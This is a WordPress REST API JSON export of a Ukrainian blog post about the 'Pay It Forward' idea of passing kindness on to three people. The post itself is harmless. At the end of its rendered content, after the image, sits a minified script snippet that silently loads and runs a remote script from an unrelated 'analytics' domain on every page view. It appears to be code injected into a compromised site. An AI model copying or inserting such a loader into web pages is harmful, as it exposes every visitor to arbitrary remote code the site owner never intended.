{"id":89,"date":"2024-11-17T03:06:24","date_gmt":"2024-11-17T03:06:24","guid":{"rendered":"https:\/\/lifestylekvitka.com\/?p=89"},"modified":"2026-04-07T07:22:29","modified_gmt":"2026-04-07T07:22:29","slug":"%d1%83%d1%81%d0%bf%d1%96%d1%85-%d0%b0%d0%b2%d0%b0%d0%bd%d1%81%d0%be%d0%bc-%d1%96%d0%b4%d0%b5%d1%8f-%d1%82%d1%80%d0%b5%d0%b2%d0%be%d1%80%d0%b0-%d1%82%d0%b0-%d1%81%d0%b8%d0%bb%d0%b0-%d0%b4","status":"publish","type":"post","link":"https:\/\/lifestylekvitka.com\/en\/%d1%83%d1%81%d0%bf%d1%96%d1%85-%d0%b0%d0%b2%d0%b0%d0%bd%d1%81%d0%be%d0%bc-%d1%96%d0%b4%d0%b5%d1%8f-%d1%82%d1%80%d0%b5%d0%b2%d0%be%d1%80%d0%b0-%d1%82%d0%b0-%d1%81%d0%b8%d0%bb%d0%b0-%d0%b4\/","title":{"rendered":"\u0423\u0441\u043f\u0456\u0445 \u0410\u0432\u0430\u043d\u0441\u043e\u043c \u2014 \u0406\u0434\u0435\u044f \u0422\u0440\u0435\u0432\u043e\u0440\u0430 \u0442\u0430 \u0441\u0438\u043b\u0430 \u0434\u043e\u0431\u0440\u0430"},"content":{"rendered":"<div class=\"wp-block-group is-layout-constrained wp-block-group-is-layout-constrained\">\n<p>\u0406\u0434\u0435\u044f \u0422\u0440\u0435\u0432\u043e\u0440\u0430 \u0437 \u043a\u043d\u0438\u0433\u0438 \u0442\u0430 \u0444\u0456\u043b\u044c\u043c\u0443 <em>Pay It Forward<\/em> (&#8220;\u0423\u0441\u043f\u0456\u0445 \u0430\u0432\u0430\u043d\u0441\u043e\u043c&#8221;) \u043f\u043e\u043a\u0430\u0437\u0443\u0454, \u044f\u043a \u043c\u0430\u043b\u0435 \u0434\u043e\u0431\u0440\u043e \u043c\u043e\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0434\u043e \u0432\u0435\u043b\u0438\u043a\u0438\u0445 \u0437\u043c\u0456\u043d. \u0425\u043b\u043e\u043f\u0447\u0438\u043a \u043f\u0440\u043e\u043f\u043e\u043d\u0443\u0454 \u043f\u0440\u043e\u0441\u0442\u0443, \u0430\u043b\u0435 \u043f\u043e\u0442\u0443\u0436\u043d\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438: \u043a\u043e\u0436\u043d\u0430 \u043b\u044e\u0434\u0438\u043d\u0430 \u043c\u0430\u0454 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0442\u0438 \u0442\u0440\u044c\u043e\u043c \u0456\u043d\u0448\u0438\u043c, \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0447\u0438 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0443 &#8220;\u043d\u0430\u043f\u0435\u0440\u0435\u0434&#8221;, \u0431\u0435\u0437 \u043e\u0447\u0456\u043a\u0443\u0432\u0430\u043d\u044c \u043d\u0430\u0433\u043e\u0440\u043e\u0434\u0438. \u0406\u0434\u0435\u044f \u0433\u0435\u043e\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u043e\u0457 \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0456\u0457 \u0434\u043e\u043f\u043e\u043c\u0430\u0433\u0430\u0454 \u0441\u0442\u0432\u043e\u0440\u0438\u0442\u0438 \u043b\u0430\u043d\u0446\u044e\u0433 \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u0438\u0445 \u0437\u043c\u0456\u043d, \u0434\u0435 \u043a\u043e\u0436\u0435\u043d \u0434\u043e\u043f\u043e\u043c\u0430\u0433\u0430\u0454 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0438\u043c. \u0422\u0440\u0435\u0432\u043e\u0440, \u0445\u043e\u0447 \u0456 \u043d\u0435 \u0434\u043e\u0441\u044f\u0433 \u0456\u0434\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443, \u0441\u0442\u0430\u0432 \u0456\u043d\u0456\u0446\u0456\u0430\u0442\u043e\u0440\u043e\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0443\u0445\u0443, \u0432 \u044f\u043a\u043e\u043c\u0443 \u0442\u0438\u0441\u044f\u0447\u0456 \u043b\u044e\u0434\u0435\u0439 \u043f\u043e\u0447\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043c\u0430\u0433\u0430\u0442\u0438 \u043e\u0434\u0438\u043d \u043e\u0434\u043d\u043e\u043c\u0443.<\/p>\n\n\n\n<p><strong>\u042f\u043a\u0438\u043c \u0442\u0440\u044c\u043e\u043c \u043b\u044e\u0434\u044f\u043c \u0432\u0438 \u043c\u043e\u0436\u0435\u0442\u0435 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0442\u0438 \u0441\u044c\u043e\u0433\u043e\u0434\u043d\u0456?<\/strong><br>\u0420\u043e\u0437\u043f\u043e\u0447\u043d\u0456\u0442\u044c \u0446\u0435\u0439 \u043b\u0430\u043d\u0446\u044e\u0433 \u0434\u043e\u0431\u0440\u0430 \u2014 \u0437\u043c\u0456\u043d\u0456\u0442\u044c \u0441\u0432\u0456\u0442 \u043d\u0430\u0432\u043a\u043e\u043b\u043e \u0441\u0435\u0431\u0435!<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-group is-layout-constrained wp-block-group-is-layout-constrained\">\n<div class=\"wp-block-group is-content-justification-center is-nowrap is-layout-flex wp-container-core-group-is-layout-23441af8 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"520\" height=\"780\" src=\"https:\/\/lifestylekvitka.com\/wp-content\/uploads\/2024\/11\/photo_2024-10-22_15-04-15-520x780-1.jpg\" alt=\"\u0423\u0441\u043f\u0456\u0445 \u0410\u0432\u0430\u043d\u0441\u043e\u043c \u2014 \u0406\u0434\u0435\u044f \u0422\u0440\u0435\u0432\u043e\u0440\u0430 \u0442\u0430 \u0441\u0438\u043b\u0430 \u0434\u043e\u0431\u0440\u0430\" class=\"wp-image-75\" style=\"border-radius:12px\" srcset=\"https:\/\/lifestylekvitka.com\/wp-content\/uploads\/2024\/11\/photo_2024-10-22_15-04-15-520x780-1.jpg 520w, https:\/\/lifestylekvitka.com\/wp-content\/uploads\/2024\/11\/photo_2024-10-22_15-04-15-520x780-1-200x300.jpg 200w\" sizes=\"auto, (max-width: 520px) 100vw, 520px\" \/><\/figure>\n<\/div>\n<\/div>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>\u0406\u0434\u0435\u044f \u0422\u0440\u0435\u0432\u043e\u0440\u0430 \u0437 \u043a\u043d\u0438\u0433\u0438 \u0442\u0430 \u0444\u0456\u043b\u044c\u043c\u0443 Pay It Forward (&#8220;\u0423\u0441\u043f\u0456\u0445 \u0430\u0432\u0430\u043d\u0441\u043e\u043c&#8221;) \u043f\u043e\u043a\u0430\u0437\u0443\u0454, \u044f\u043a \u043c\u0430\u043b\u0435 \u0434\u043e\u0431\u0440\u043e \u043c\u043e\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0434\u043e \u0432\u0435\u043b\u0438\u043a\u0438\u0445 \u0437\u043c\u0456\u043d. \u0425\u043b\u043e\u043f\u0447\u0438\u043a \u043f\u0440\u043e\u043f\u043e\u043d\u0443\u0454 \u043f\u0440\u043e\u0441\u0442\u0443, \u0430\u043b\u0435 \u043f\u043e\u0442\u0443\u0436\u043d\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438: \u043a\u043e\u0436\u043d\u0430 \u043b\u044e\u0434\u0438\u043d\u0430 \u043c\u0430\u0454 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0442\u0438 \u0442\u0440\u044c\u043e\u043c \u0456\u043d\u0448\u0438\u043c, \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0447\u0438 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0443 &#8220;\u043d\u0430\u043f\u0435\u0440\u0435\u0434&#8221;, \u0431\u0435\u0437 \u043e\u0447\u0456\u043a\u0443\u0432\u0430\u043d\u044c \u043d\u0430\u0433\u043e\u0440\u043e\u0434\u0438. \u0406\u0434\u0435\u044f \u0433\u0435\u043e\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u043e\u0457 \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0456\u0457 \u0434\u043e\u043f\u043e\u043c\u0430\u0433\u0430\u0454 \u0441\u0442\u0432\u043e\u0440\u0438\u0442\u0438 \u043b\u0430\u043d\u0446\u044e\u0433 \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u0438\u0445 \u0437\u043c\u0456\u043d, \u0434\u0435 \u043a\u043e\u0436\u0435\u043d \u0434\u043e\u043f\u043e\u043c\u0430\u0433\u0430\u0454 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0438\u043c. \u0422\u0440\u0435\u0432\u043e\u0440, \u0445\u043e\u0447 \u0456 \u043d\u0435 [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-89","post","type-post","status-publish","format-standard","hentry","category-7"],"_links":{"self":[{"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/posts\/89","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/comments?post=89"}],"version-history":[{"count":2,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":377,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/posts\/89\/revisions\/377"}],"wp:attachment":[{"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/media?parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/categories?post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lifestylekvitka.com\/en\/wp-json\/wp\/v2\/tags?post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}